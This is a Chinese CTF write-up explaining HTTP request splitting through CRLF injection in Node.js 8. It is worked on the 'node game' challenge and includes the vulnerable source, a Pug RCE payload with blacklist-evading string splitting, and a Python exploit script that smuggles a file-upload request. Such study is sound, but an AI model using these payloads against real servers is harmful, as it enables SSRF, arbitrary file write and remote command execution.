0x00 前言
“HTTP请求拆分”感觉上就是“HTTP请求走私”中的一种,但在网上没查到将两者归类的说法,不太确定。但可以确定的是“HTTP请求拆分”是一种“CRLF(回车换行)”漏洞,这些将在后文细说。
本文主要是通过一道CTF题目(日常看WP都不会写)来切实感受一下这种攻击方式。
0x01 HTTP请求拆分
简介
顾名思义,这个攻击方式就是通过特殊方式
将一个精心构造
的HTTP请求拆分成多个请求,从而来实现访问有所限制的目录。因为是将一个请求变成了多个请求,所以我才说这和“HTTP请求走私”很类似,都是利用特殊方式来走私别的请求。
但是这和我之前所写过的基于CL
和TE
的走私又有所不同,这里是通过CRLF
注入进行攻击。
CRLF注入
CRLF
即”回车换行”,利用回车换行。因为HTTP协议中是用回车换行来界定头部和实体的,所以如果我们可以用回车换行来恶意拆分请求或者响应(具体请看参考文章)。
假想
试想一下我们构造这样一个请求:
http://localhost/?q=空格+HTTP/1.1+回车换行+chenlvtang: test回车换行
那这个请求在服务器进行处理的时候会是怎样呢?我们先简单的假想服务器不会对回车换行进行转义,那么服务器将会把请求处理成下面这样子:
GET /?q= HTTP/1.1
chenlvtang: test
Host: test.hah
如果我们请求变成这样呢?
http://localhost/?q=空格+HTTP/1.1+回车换行+回车换行+GET /secret HTTP/1.1+回车换行+Host: test.hah+回车换行+chenlvtang: test+回车换行
这时候的假想的处理如下:
GET /?q= HTTP/1.1
GET /secret HTTP/1.1
Host: test.hah
chenlvtang: test
Host: test.hah
我们可以惊奇的发现,成功走私一个请求🤩。这里多出来的一个Host: test.hah
,是属于原来正常的请求的,所以我们最好把他弄掉,所以我们可以完善一下我们的请求。
将请求改为这样:
http://localhost/?q=空格HTTP/1.1+回车换行回车换行+GET /secret HTTP/1.1+回车换行+Host: test.hah+回车换行+chenlvtang: test+回车换行回车换行+GET /foobar HTTP/1.1+回车换行x:
那么新的假想处理就是:
GET /?q= HTTP/1.1
GET /secret HTTP/1.1
Host: test.hah
chenlvtang: test
GET /foobar HTTP/1.1
X:Host: test.hah
😲完美!!!可惜一切都是假想,实际上服务器都会对回车换行进行处理,但有时候处理的不完善也有可能出现此类漏洞
其实这里为什么一定要个x: 我也不太清楚,本来自己写的是没加的,感觉没加也可以闭合一个请求=。=但是跑脚本的时候会出错
0x02 攻击实例
这里以[GYCTF2020]node game
进行实操,如果想复现的话,可以去BUUCTF平台
看题目
题目名字叫node game
,显然是考查与 “node.js”相关的知识了。点进去有两个超文本链接,其中第一个可以查看源码。
试试第二个链接,点进去是一个文件上传,名字告诉我们只能管理员才能使用,但我们还是上传看看。😅看来真的有限制,还是回去看源码吧。
看源码
点第一个进去可以看到源码,但是是没有换行的,右键查看源代码,可以得到规整的源代码。代码太长太难看了,所以我只保留主要的代码
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){//..
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name//...
}})})
app.get('/source',function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {//注意这里
resp.setEncoding('utf8');});});} }} })
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
假装分析
/
路由中,加上参数action
,对目录穿越做了限制,但可以对/template
目录下指定的文件进行渲染,并且用的是pug
模板,所以我们大概就是要上传.pug
文件来进行文件包含
(如果你猜的出flag文件叫啥)或者RCE
了
可以看到/file_upload
有对IP
的限制,一般是要借助SSRF了,并且是POST
请求。这里var file_path = '/uploads/' + req.files[0].mimetype +"/";
中的mimetype
我们可以通过Content-Type
进行控制,如果改为../template
,经过拼接后,文件的保存目录就会变成_dirname/uploads/../template/shell.pug
。这样就可以保存到/template
目录下,然后我们就可以通过上面的action
进行渲染。
/core
路由中,首先会对参数q
的内容进行检查,如果通过了检查,就会通过内网URL
发起一次GET
请求/source
目录。这里显然就可以进行SSRF(但是要有点特殊手法)
从面的分析可以看出,基本利用的过程就是: 利用SSRF请求/file_upload
来上传文件==>/action=shell.pug
来渲染文件来RCE。
但是有个难点,就是/core
路由虽然用了“内网URL”,但绑定到了/source
目录下,如何才能进行SSRF,并且还要通过POST请求/file_upload
来上传文件。🤗好在题目用的是node8(据说比赛中有提示),而node8有个漏洞,就是我们上文所说的“HTTP请求拆分”。
谈谈Node.Js
实际上,node8有对回车换行(HTTP协议控制字符)进行处理
但是它对Unicode编码的字符不会进行处理,因为他们并不是HTTP协议中的控制字符,但因为node.js默认使用latin1
编码,所以它在处理高位unicode字符时会产生截断从而会让某些特定字符产生回车换行。
在node10中,如果URL中含有非ASCII编码的字符,就会返回错误。
构造exp
首先,先初步写好shell.pug
文件(自行参考文档)如下:
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")//为了过黑名单
-return x
然后上传,抓包,发送到repeater
,修改一下Content-Type
,然后发送,这时候BURP会帮你更行CL
,复制文件上传部分(记得去掉不必要的首部)
然后写个脚本(不是我的):
import urllib.parse
import requests
payload = ''' HTTP/1.1
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------41671423531508392532090664957
Content-Length: 350
-----------------------------41671423531508392532090664957
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x
-----------------------------41671423531508392532090664957--
GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://5e5020f0-cba3-4d9e-98ff-81274c42ce13.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)
然后访问/?action=shell
要拿flag得话,自己照着步骤改下命令就行,另外说一下脚本使用的神奇编码方式我没太搞懂😅,它和参考文章的不同之处就是它全部编码了,长成这样:
用node8解析一部分长这样: